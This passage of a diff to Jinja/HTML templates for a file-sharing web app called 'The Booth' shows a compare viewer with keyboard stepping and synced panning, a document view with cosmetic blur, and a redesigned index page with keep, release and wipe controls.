</form>
|
||||
</div>
|
||||
{% if s.caption %}<div class="cmp-cap">{{ s.caption }}</div>{% endif %}
|
||||
</div>
|
||||
</section>
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<div class="cmp-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> step · <kbd>A</kbd> <kbd>B</kbd> flag · <kbd>X</kbd> side · <kbd>L</kbd> link · <kbd>Z</kbd> Fit/1:1 · <kbd>Esc</kbd> review</div>
|
||||
|
||||
{# THE FILMSTRIP IS THE PICKER: the review ring in ring order. Without JS a
|
||||
frame is a link that replaces the active side from the URL (B by
|
||||
default); with JS a click replaces the side that is active NOW. #}
|
||||
<nav class="film" data-region="film" aria-label="pick from the set">
|
||||
{% for x in film %}
|
||||
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.blurred %} is-blurred{% endif %}{% if x.is_a %} is-a{% endif %}{% if x.is_b %} is-b{% endif %}{% if (active == 'a' and x.is_a) or (active == 'b' and x.is_b) %} is-active{% endif %}"
|
||||
href="{{ x.pick }}" data-rel="{{ x.name }}" data-pick-a="{{ x.pick_a }}" data-pick-b="{{ x.pick_b }}" title="{{ x.name }}">
|
||||
{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
|
||||
<span class="film-ord">{{ num(x.ordinal) }}</span>
|
||||
{%- if x.is_a or x.is_b %}<span class="film-ab">{{ 'A' if x.is_a }}{{ 'B' if x.is_b }}</span>{% endif -%}
|
||||
</a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
</div>
|
||||
{% include "_stage_js.html" %}
|
||||
<script>
|
||||
(function () {
|
||||
var BACK = {{ back_url|tojson }};
|
||||
var d = document.documentElement;
|
||||
var root = document.querySelector('.viewer.compare');
|
||||
var sides = {a: root.querySelector('.cmp-side[data-side="a"]'),
|
||||
b: root.querySelector('.cmp-side[data-side="b"]')};
|
||||
/* THE VIEW STATE (r3 C2): the active side and the linked stepping, read
|
||||
from the server's render of THIS URL, and written back into the URL in
|
||||
place whenever they change, so every step — a full page load — keeps
|
||||
them. Kept on the sides (never on a region: a save swaps regions). */
|
||||
var active = sides.a.classList.contains('is-active') ? 'a' : 'b';
|
||||
var linked = root.getAttribute('data-linked') !== '0';
|
||||
|
||||
/* A compare href with THIS page's view state: `side` and `link` dropped
|
||||
and re-added from the closed set, the pair's own params untouched (their
|
||||
encoding is the server's, never re-serialised here). */
|
||||
function withState(href) {
|
||||
var i = href.indexOf('?');
|
||||
if (i < 0) return href;
|
||||
var parts = href.slice(i + 1).split('#')[0].split('&').filter(function (p) {
|
||||
/* by the DECODED name: `%73ide=a` is `side=a` to the server */
|
||||
var n = p.split('=')[0];
|
||||
try { n = decodeURIComponent(n.replace(/\+/g, ' ')); } catch (e) {}
|
||||
return p && n !== 'side' && n !== 'link';
|
||||
});
|
||||
if (active === 'a') parts.push('side=a');
|
||||
if (!linked) parts.push('link=0');
|
||||
return href.slice(0, i) + '?' + parts.join('&');
|
||||
}
|
||||
function go(href) { window.location.href = href; }
|
||||
/* Every server-built link, the URL and the flag forms' landing fields
|
||||
follow the state; the strip's markers follow the active side. Run on
|
||||
every change of state and after a save swaps the regions. */
|
||||
function restate() {
|
||||
['a', 'b'].forEach(function (k) { sides[k].classList.toggle('is-active', k === active); });
|
||||
document.querySelectorAll('.film-f').forEach(function (f) {
|
||||
f.classList.toggle('is-active', f.classList.contains('is-' + active));
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (pick) f.setAttribute('href', withState(pick));
|
||||
});
|
||||
document.querySelectorAll('a[data-step]').forEach(function (a) {
|
||||
a.setAttribute('href', withState(a.getAttribute('href')));
|
||||
});
|
||||
document.querySelectorAll('.cmp-flag form').forEach(function (f) {
|
||||
var sd = f.querySelector('input[name="side"]'), ln = f.querySelector('input[name="link"]');
|
||||
if (sd) sd.value = active;
|
||||
if (ln) ln.value = linked ? '1' : '0';
|
||||
});
|
||||
root.setAttribute('data-linked', linked ? '1' : '0');
|
||||
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}
|
||||
}
|
||||
function setActive(k) { if (k !== active) { active = k; restate(); } }
|
||||
|
||||
/* THE LINKED TOGGLE (C3): JS-only, because without JS there are no keys to
|
||||
link; its state is the URL's `link`, and nothing else remembers it. */
|
||||
var lbtn = document.getElementById('cmp-link');
|
||||
function showLinked() {
|
||||
lbtn.setAttribute('aria-pressed', linked ? 'true' : 'false');
|
||||
lbtn.textContent = linked ? '⛓ linked' : '⛓ unlinked';
|
||||
}
|
||||
function setLinked(on) { linked = on; showLinked(); restate(); }
|
||||
lbtn.hidden = false;
|
||||
showLinked();
|
||||
lbtn.addEventListener('click', function () { setLinked(!linked); });
|
||||
|
||||
/* THE STAGES (C4): the shared machinery, attached once per stage; one mode
|
||||
for both, bound once, and only when a side is a picture. This page owns
|
||||
its own ResizeObserver, because `pannable` changes on resize. */
|
||||
var stages = ['a', 'b'].map(function (k) {
|
||||
var el = sides[k].querySelector('.vstage');
|
||||
return {k: k, el: el, st: BoothStage.attach(el, {img: el.querySelector('img')})};
|
||||
});
|
||||
function settleAll() { stages.forEach(function (s) { s.st.settle(); }); }
|
||||
var mode = null, toggle = document.getElementById('vtoggle');
|
||||
if (toggle) mode = BoothMode.bind({
|
||||
toggle: toggle,
|
||||
fit: document.getElementById('btn-fit'),
|
||||
one: document.getElementById('btn-one'),
|
||||
onChange: settleAll
|
||||
});
|
||||
if (window.ResizeObserver) {
|
||||
var ro = new ResizeObserver(settleAll);
|
||||
stages.forEach(function (s) { ro.observe(s.el); });
|
||||
} else window.addEventListener('resize', settleAll);
|
||||
/* A press on a stage makes its side the active one. */
|
||||
stages.forEach(function (s) {
|
||||
s.el.addEventListener('pointerdown', function () { setActive(s.k); });
|
||||
});
|
||||
|
||||
/* SYNCED PAN (C4). In 1:1 a scroll of either stage — a drag, a scrollbar,
|
||||
a wheel — puts the other at the SAME FRACTION of its own scrollable
|
||||
range, per axis; an axis with nothing to scroll on either side is left
|
||||
alone. A scroll the sync caused is recognised by where it landed and is
|
||||
never synced back, so there is no loop and no drift. */
|
||||
function sync(from, to) {
|
||||
var fx = from.scrollWidth - from.clientWidth, fy = from.scrollHeight - from.clientHeight;
|
||||
var tx = to.scrollWidth - to.clientWidth, ty = to.scrollHeight - to.clientHeight;
|
||||
var l = to.scrollLeft, t = to.scrollTop;
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;
|
||||
var was = [to.scrollLeft, to.scrollTop];
|
||||
to.scrollTo(l, t);
|
||||
if (to.scrollLeft !== was[0] || to.scrollTop !== was[1]) to.__synced = {l: to.scrollLeft, t: to.scrollTop};
|
||||
}
|
||||
stages.forEach(function (s, i) {
|
||||
var other = stages[1 - i].el;
|
||||
s.el.addEventListener('scroll', function () {
|
||||
var mine = s.el.__synced;
|
||||
if (mine) {
|
||||
s.el.__synced = null;
|
||||
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
|
||||
}
|
||||
if (!d.classList.contains('stage-one') || other === s.el) return;
|
||||
sync(s.el, other);
|
||||
}, {passive: true});
|
||||
});
|
||||
|
||||
/* Blur reveal per side — per-viewer, never persisted; cosmetic, and the
|
||||
button says so. Over the stage, never in its scrolled content. */
|
||||
root.querySelectorAll('.cmp-reveal').forEach(function (btn) {
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');
|
||||
btn.hidden = false;
|
||||
btn.addEventListener('click', function () {
|
||||
var on = stage.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
|
||||
});
|
||||
});
|
||||
|
||||
/* THE PICKER (C2): a click on a frame replaces the side that is active
|
||||
NOW. Delegated at the document, because a save replaces the frames. A
|
||||
modified click keeps the browser's own meaning (a new tab), with the
|
||||
href restate() keeps current. */
|
||||
document.addEventListener('click', function (e) {
|
||||
var f = e.target.closest && e.target.closest('.film-f');
|
||||
if (!f || e.defaultPrevented || e.button !== 0) return;
|
||||
if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) return;
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (!pick) return;
|
||||
e.preventDefault();
|
||||
go(withState(pick));
|
||||
});
|
||||
document.addEventListener('booth:swapped', restate);
|
||||
|
||||
/* THE KEYS (C3). EVERY key here is ignored while focus is in something
|
||||
editable and whenever Ctrl, Meta or Alt is held (the review's rule,
|
||||
applied to all of them). */
|
||||
function isEditable(el) {
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
function step(dir) {
|
||||
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');
|
||||
var a = document.querySelector('a[data-step="' + which + '"]');
|
||||
if (a) go(withState(a.getAttribute('href')));
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
var k = e.key;
|
||||
if (k === 'Escape' || k === 'c' || k === 'C') go(BACK);
|
||||
else if (k === 'ArrowLeft') step(-1);
|
||||
else if (k === 'ArrowRight') step(1);
|
||||
/* Space steps only from nowhere in particular: never from a focused
|
||||
control (Space presses it) and never from a player on either stage. */
|
||||
else if (k === ' ') {
|
||||
if (e.target.closest && e.target.closest('button, a, summary, video, audio')) return;
|
||||
e.preventDefault();
|
||||
step(e.shiftKey ? -1 : 1);
|
||||
}
|
||||
else if (k === 'a' || k === 'A' || k === 'b' || k === 'B') {
|
||||
/* looked up at press time: a save may have replaced the button */
|
||||
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());
|
||||
if (btn) { e.preventDefault(); btn.click(); }
|
||||
}
|
||||
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');
|
||||
else if (k === 'l' || k === 'L') setLinked(!linked);
|
||||
else if ((k === 'z' || k === 'Z') && mode) mode.flip();
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -1,11 +1,15 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
<div class="docview">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
|
||||
<span class="vname">{{ file }}</span>
|
||||
<span class="vspacer"></span>
|
||||
{# Reveal all can lift this page's blur, so this page must be able to put it
|
||||
back (r2b, heid bug-hunt). #}
|
||||
{% if blurred %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
<a class="vbtn" href="{{ file_url }}?dl=1" title="download {{ file }}">⬇</a>
|
||||
</div>
|
||||
{# Same record, same reason as the image viewer: the sidecar that says what
|
||||
@@ -16,21 +20,35 @@
|
||||
{% for m in marks if m.shape == 'note' %}<pre class="vnote">{{ m.text }}</pre>{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{# Blur honesty reaches the full page too (r2b, heid code-review): a blurred
|
||||
doc's own page rendered clear. Its reveal is per-page and JS-only, like the
|
||||
review stage's; Reveal all lifts it by the same <html> class. #}
|
||||
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">
|
||||
{% if blurred %}<button type="button" class="reveal" id="docreveal" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
|
||||
{% if is_html %}
|
||||
<article class="markdown-body">{{ body|safe }}</article>
|
||||
{% else %}
|
||||
<pre class="textview">{{ body }}</pre>
|
||||
{% endif %}
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
/* .markdown-body and .textview now live in base.html (shared with the inline
|
||||
/* .markdown-body and .textview live in base.html (shared with the inline
|
||||
gallery view). Only the full-page layout wrapper is page-specific. */
|
||||
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 4rem}
|
||||
.docview{max-width:52rem;margin:0 auto;padding:0 clamp(12px,3vw,20px) 64px}
|
||||
.docview .vbar{margin:0 calc(-1 * clamp(12px,3vw,20px)) 20px;border-radius:0}
|
||||
.docview .textview{overflow-x:auto}
|
||||
.doccap{margin:.9rem 0 1.2rem;padding:.6rem .85rem;font-size:.85rem;line-height:1.5;
|
||||
color:var(--fg-1);background:var(--rk-surface,rgba(255,255,255,.04));
|
||||
border-left:2px solid var(--aus-bright-cyan,#42dcd1);border-radius:0 6px 6px 0;
|
||||
white-space:pre-wrap}
|
||||
.doccap{margin:0 0 20px;padding:8px 14px;font-size:var(--size-body);line-height:var(--leading-body);
|
||||
color:var(--text-body);border-left:3px solid var(--border-strong);white-space:pre-wrap}
|
||||
.docmarks{display:flex;flex-direction:column;gap:8px;margin:0 0 20px}
|
||||
.docbody{position:relative}
|
||||
.docbody.is-blurred .markdown-body,.docbody.is-blurred .textview{filter:blur(22px);transition:filter var(--dur-2)}
|
||||
.docbody.is-blurred.revealed .markdown-body,.docbody.is-blurred.revealed .textview,
|
||||
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}
|
||||
.reveal-all #docreveal{display:none}
|
||||
#docreveal{position:absolute;top:10px;left:10px;z-index:2;cursor:pointer;font-family:var(--font-mono);
|
||||
font-size:var(--size-micro);line-height:1;padding:6px 9px;border-radius:var(--radius-md);
|
||||
border:1px solid rgb(255 255 255 / .16);background:oklch(0.17 0.01 250 / .86);color:oklch(0.91 0.008 216)}
|
||||
</style>
|
||||
<script>
|
||||
(function () {
|
||||
@@ -41,6 +59,14 @@
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
var rv = document.getElementById('docreveal');
|
||||
if (rv) {
|
||||
rv.hidden = false;
|
||||
rv.addEventListener('click', function () {
|
||||
var on = document.getElementById('docbody').classList.toggle('revealed');
|
||||
rv.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
|
||||
});
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.key === 'Escape') window.location.href = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
|
||||
+172
-140
@@ -1,136 +1,166 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_provenance.html" import provenance %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% from "_dates.html" import dates %}
|
||||
{# THE DESK (R2 C4). The index triaged by what needs the operator: needs you,
|
||||
then new since you looked, then everything else — always in that order, and
|
||||
the ORDER WITHIN each is decided in app.index, never here. A section with no
|
||||
booths renders nothing at all: no heading, no empty box (the negative half
|
||||
of the kept-lane pair this replaces). #}
|
||||
|
||||
{# The first four images, the originals shown small. A blurred one stays
|
||||
blurred (`blurred-thumb`, the cover's rule). A booth with no images shows the
|
||||
kind placeholder the cards used to. #}
|
||||
{% macro preview(b) -%}
|
||||
<a class="desk-strip" href="/b/{{ b.name_url }}/" tabindex="-1" aria-hidden="true">
|
||||
{% if b.preview %}
|
||||
{% for url, blurred in b.preview %}
|
||||
<img class="{{ 'blurred-thumb' if blurred }}" loading="lazy" src="/b/{{ b.name_url }}/{{ url }}" alt="">
|
||||
{% endfor %}
|
||||
{% elif b.has_index %}<span class="ph">▦ page</span>
|
||||
{% elif b.kinds.video %}<span class="ph">▶ video</span>
|
||||
{% elif b.kinds.audio %}<span class="ph">♪ audio</span>
|
||||
{% else %}<span class="ph">◆ files</span>
|
||||
{% endif %}
|
||||
</a>
|
||||
{%- endmacro %}
|
||||
|
||||
{% macro row(b, section) -%}
|
||||
<article class="desk-row{% if section == 'needs' %} is-needs{% endif %}" data-booth="{{ b.name }}" data-kept="{{ '1' if b.kept else '0' }}">
|
||||
{{ preview(b) }}
|
||||
<div class="desk-main">
|
||||
{# The manifest title leads when there is one; the directory name stays
|
||||
beside it because it is what the URL says. #}
|
||||
<a class="desk-title" href="/b/{{ b.name_url }}/">
|
||||
{%- if b.manifest and not b.manifest.error and b.manifest.title and b.manifest.title != b.name -%}
|
||||
{{ b.manifest.title }} <span class="desk-slug">{{ b.name }}</span>
|
||||
{%- else -%}{{ b.name }}{%- endif -%}
|
||||
</a>
|
||||
{{ provenance(b.manifest) }}
|
||||
{# Facts only: counts and dates. The lifetime is state (the pill) and
|
||||
the controls are actions (the cluster); neither lives here. #}
|
||||
<div class="desk-facts">
|
||||
{{ b.count }} item{{ '' if b.count == 1 else 's' }}
|
||||
{%- if b.flags %} · <span class="desk-flags">{{ b.flags }} flagged</span>{% endif %}
|
||||
{{- dates(b.created_at, b.landed_at, now) }}
|
||||
</div>
|
||||
</div>
|
||||
{# The right column: badges, then the LIFETIME PILL, always visible — state,
|
||||
not a control, so it stays when the controls hide, and down the Desk it
|
||||
reads as one column of kept / held / counting (operator: "make it
|
||||
obvious which are kept and which are ephemeral"). #}
|
||||
<div class="desk-side">
|
||||
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>
|
||||
{% elif b.hold == "unreadable" %}<span class="badge badge-broken">marks unreadable</span>
|
||||
{% elif section == 'new' %}<span class="badge badge-new">new</span>{% endif %}
|
||||
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
|
||||
{# r2b D2b: a fogged strip says why. Information, not the control. #}
|
||||
{% if b.booth_blurred %}<span class="badge badge-blur" title="the whole booth is blurred — cosmetic only">◉ blurred</span>{% endif %}
|
||||
<span class="life {{ 'life-kept' if b.kept else ('life-held' if b.hold in ('open', 'unreadable') else 'life-count') }}">{{ lifetime(b.kept, b.hold, b.expires_in) }}</span>
|
||||
</div>
|
||||
{# The row's controls, LAST in the markup so the booth's name comes first
|
||||
in tab order (heid bug-hunt: wipe used to be reachable before the booth
|
||||
it acts on). Where a real hover exists they float over the strip's
|
||||
top-right corner — covering pictures, never information — and appear
|
||||
only on hover or keyboard focus (operator: "download, keep and release
|
||||
buttons only appear on mouseover"; x hides too, his answer). Anywhere
|
||||
else they are the row's last line, visible: hover-only would mean no
|
||||
controls at all on touch. Order: zip, keep or release, then wipe set
|
||||
apart — zip out of the middle (operator), release still next to x. #}
|
||||
<div class="desk-acts">
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
{%- if b.kept %}
|
||||
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
|
||||
data-booth="{{ b.name }}" data-confirm="release"><button title="release this booth so it can be wiped">release</button></form>
|
||||
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe-kept"><button title="wipe this KEPT booth now" aria-label="wipe kept booth">× wipe</button></form>
|
||||
{%- else %}
|
||||
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep"><button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★ keep</button></form>
|
||||
<form class="wipe" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe"><button title="wipe now" aria-label="wipe booth">× wipe</button></form>
|
||||
{%- endif %}
|
||||
</div>
|
||||
</article>
|
||||
{%- endmacro %}
|
||||
|
||||
{% block content %}
|
||||
<div class="desk">
|
||||
<div class="desk-list">
|
||||
{% if needs %}
|
||||
<section class="desk-sec" data-section="needs">
|
||||
<h2 class="desk-head desk-head-needs">Needs you <span class="desk-rule">oldest question first</span></h2>
|
||||
{% for b in needs %}{{ row(b, 'needs') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if new %}
|
||||
<section class="desk-sec" data-section="new">
|
||||
<h2 class="desk-head desk-head-new">New since you looked <span class="desk-rule">newest first</span></h2>
|
||||
{% for b in new %}{{ row(b, 'new') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if rest %}
|
||||
<section class="desk-sec" data-section="rest">
|
||||
<h2 class="desk-head">Everything else <span class="desk-rule">last updated first</span></h2>
|
||||
{% for b in rest %}{{ row(b, 'rest') }}{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
{% if not needs and not new and not rest %}
|
||||
<div class="empty">
|
||||
No booths yet. Drop a folder into <code>{{ data_dir }}</code>, or upload files for pickup.
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<aside class="desk-aside">
|
||||
{# Benches: running things. DAMAGED AND ABSENT MUST NOT RENDER THE SAME —
|
||||
an unreadable registry says so; an empty one renders no panel. #}
|
||||
{% if benches_error %}
|
||||
<section class="desk-panel" data-panel="benches">
|
||||
<h2 class="desk-panel-head">Benches</h2>
|
||||
<div class="bench-err">the bench registry could not be read: {{ benches_error }}</div>
|
||||
</section>
|
||||
{% elif benches %}
|
||||
<section class="desk-panel" data-panel="benches">
|
||||
<h2 class="desk-panel-head">Benches <span class="desk-rule">running things</span></h2>
|
||||
{% for b in benches %}
|
||||
{# Agent-written URLs: only http(s) becomes a link. Autoescape stops markup,
|
||||
not a `javascript:` scheme, so anything else renders as plain text. #}
|
||||
{% set web = b.url.lower().startswith(('http://', 'https://')) %}
|
||||
<{{ 'a' if web else 'div' }} class="desk-bench is-{{ b.state }}"{% if web %} href="{{ b.url }}" target="_blank" rel="noopener"{% endif %}>
|
||||
<span class="desk-bench-dot" aria-hidden="true"></span>
|
||||
<span class="desk-bench-main"><span class="desk-bench-name">{{ b.name or b.url }}</span>
|
||||
<span class="desk-bench-sub">{% if b.owner %}{{ b.owner }} · {% endif %}{{ b.state }}</span></span>
|
||||
</{{ 'a' if web else 'div' }}>
|
||||
{% endfor %}
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
{% if bookmarks %}
|
||||
<section class="desk-panel" data-panel="bookmarks">
|
||||
<h2 class="desk-panel-head">Bookmarks <span class="desk-rule">pinned first</span></h2>
|
||||
{% for e in bookmarks %}
|
||||
{% set web = e.url.lower().startswith(('http://', 'https://')) %}
|
||||
<{{ 'a' if web else 'div' }} class="desk-mark{% if e.pinned %} is-pinned{% endif %}"{% if web %} href="{{ e.url }}" target="_blank" rel="noopener"{% endif %}>
|
||||
{{ e.desc }}{% if e.who %}<span class="desk-bench-sub">{{ e.who }}</span>{% endif %}</{{ 'a' if web else 'div' }}>
|
||||
{% endfor %}
|
||||
<a class="desk-more" href="{{ board_url }}">all {{ bookmarks_total }} on the board →</a>
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
<section class="desk-panel" data-panel="pickup">
|
||||
<h2 class="desk-panel-head">Pickup</h2>
|
||||
<form class="uploader" method="post" action="/upload" enctype="multipart/form-data">
|
||||
<label class="drop" for="booth-files">
|
||||
<span class="drop-icon">⬆</span>
|
||||
<span class="drop-main">Upload files for pickup</span>
|
||||
<span class="drop-sub" id="drop-sub">drop here, or click to choose · one pickup id, wiped in {{ ttl_hours }}h</span>
|
||||
<span class="drop-sub" id="drop-sub">drop here, or click · wiped in {{ ttl_hours }}h</span>
|
||||
<input id="booth-files" name="files" type="file" multiple>
|
||||
</label>
|
||||
<button class="up-go" type="submit">Get pickup id →</button>
|
||||
</form>
|
||||
|
||||
{% if kept %}
|
||||
{# Kept boards render FIRST and look different on purpose: they are durable
|
||||
operator-facing things (the agent link board, standing reports) and the
|
||||
point of the lane is that they cannot be lost in a feed that turns over
|
||||
every day. No countdown — they have no expiry to advertise. #}
|
||||
<h2 class="lane-head">Kept <span class="lane-note">· no expiry · <code>{{ keep_marker }}</code></span></h2>
|
||||
<div class="grid kept-grid">
|
||||
{% for b in kept %}
|
||||
<article class="card card-kept">
|
||||
<a class="thumb" href="/b/{{ b.name_url }}/">
|
||||
{% if b.thumb_url %}
|
||||
{# A cover blurred inside the booth must be blurred here too, or the
|
||||
front page undoes the censoring the booth page applied. #}
|
||||
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
|
||||
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
|
||||
{% elif b.has_index %}
|
||||
<div class="ph">▦ page</div>
|
||||
{% elif b.kinds.video %}
|
||||
<div class="ph">▶ video</div>
|
||||
{% elif b.kinds.audio %}
|
||||
<div class="ph">♪ audio</div>
|
||||
{% else %}
|
||||
<div class="ph">◆ files</div>
|
||||
{% endif %}
|
||||
<span class="badge badge-kept">★ kept</span>
|
||||
</a>
|
||||
<div class="meta">
|
||||
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
|
||||
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · {{ lifetime(true, b.hold, b.expires_in) }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
|
||||
{{ provenance(b.manifest) }}
|
||||
</section>
|
||||
</aside>
|
||||
</div>
|
||||
{# There IS a × here now (operator, 2026-09-21). The old rule was
|
||||
release-then-find-it-in-the-other-lane, on the theory that two
|
||||
deliberate acts protect durable boards. In practice it protects
|
||||
nothing and costs a hunt: the board you just released is loose in a
|
||||
feed that turns over, and you have to go find it to finish the job
|
||||
you had already decided on.
|
||||
|
||||
The protection now lives in the CONFIRMATION, not in the number of
|
||||
lanes you must traverse — this one names the booth and says the word
|
||||
KEPT, where the ephemeral × just asks. A deliberate act, one click,
|
||||
reachable.
|
||||
|
||||
Release still exists and is still the reversible option. Note it
|
||||
BUMPS the directory mtime, so the board's age resets and it survives
|
||||
another full TTL — unkeep-and-wait is a 24h delay, not a delete,
|
||||
which is exactly why a direct × was worth adding. #}
|
||||
{# ⚠ BOTH OF THESE WERE position:absolute ON THE SAME CORNER, and `release`
|
||||
is the later sibling, so it painted over the × completely: measured
|
||||
30x22 px of overlap on a 30px button, and elementFromPoint at the ×'s
|
||||
centre returned the release form. The × was unclickable from the day
|
||||
it shipped.
|
||||
|
||||
One flex row, positioned once, instead of two independently guessed
|
||||
offsets — so neither control can drift back on top of the other when
|
||||
a label changes width. #}
|
||||
<div class="kept-actions">
|
||||
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
|
||||
data-booth="{{ b.name }}" data-confirm="release">
|
||||
<button title="release this board so it can be wiped">release</button>
|
||||
</form>
|
||||
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe-kept">
|
||||
<button title="wipe this KEPT booth now" aria-label="wipe kept booth">×</button>
|
||||
</form>
|
||||
</div>
|
||||
</article>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if booths %}<h2 class="lane-head">Ephemeral <span class="lane-note">· wiped {{ ttl_hours }}h after last activity</span></h2>{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% if not booths %}
|
||||
{% if not kept %}
|
||||
<div class="empty">
|
||||
No booths yet. Upload files above, or drop a folder into <code>{{ data_dir }}</code>.
|
||||
</div>
|
||||
{% endif %}
|
||||
{% else %}
|
||||
<div class="grid">
|
||||
{% for b in booths %}
|
||||
<article class="card">
|
||||
<a class="thumb" href="/b/{{ b.name_url }}/">
|
||||
{% if b.thumb_url %}
|
||||
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
|
||||
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
|
||||
{% elif b.has_index %}
|
||||
<div class="ph">▦ page</div>
|
||||
{% elif b.kinds.video %}
|
||||
<div class="ph">▶ video</div>
|
||||
{% elif b.kinds.audio %}
|
||||
<div class="ph">♪ audio</div>
|
||||
{% else %}
|
||||
<div class="ph">◆ files</div>
|
||||
{% endif %}
|
||||
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
|
||||
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>{% endif %}
|
||||
</a>
|
||||
<div class="meta">
|
||||
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
|
||||
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · {{ lifetime(false, b.hold, b.expires_in) }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
|
||||
{{ provenance(b.manifest) }}
|
||||
</div>
|
||||
{# Promote to the kept lane. The /keep route and the `booth keep` CLI verb
|
||||
both predate this button; until 2026-09-19 the UI could only RELEASE a
|
||||
kept booth, never keep an ephemeral one, so the round trip was only
|
||||
closed if you had a shell. Reversible, so no confirmation — the × next
|
||||
to it is the destructive one and keeps its prompt. #}
|
||||
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep">
|
||||
<button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★</button>
|
||||
</form>
|
||||
<form class="wipe" method="post" action="/b/{{ b.name_url }}/delete"
|
||||
data-booth="{{ b.name }}" data-confirm="wipe">
|
||||
<button title="wipe now" aria-label="wipe booth">×</button>
|
||||
</form>
|
||||
</article>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<script>
|
||||
/* progressive enhancement: reflect chosen files + drag-drop onto the panel.
|
||||
@@ -162,37 +192,39 @@
|
||||
});
|
||||
})();
|
||||
|
||||
/* Destructive-action confirmation, delegated and DATA-DRIVEN.
|
||||
These were an inline onsubmit calling confirm() with the booth NAME
|
||||
interpolated straight into the JS string literal. Jinja's autoescape is
|
||||
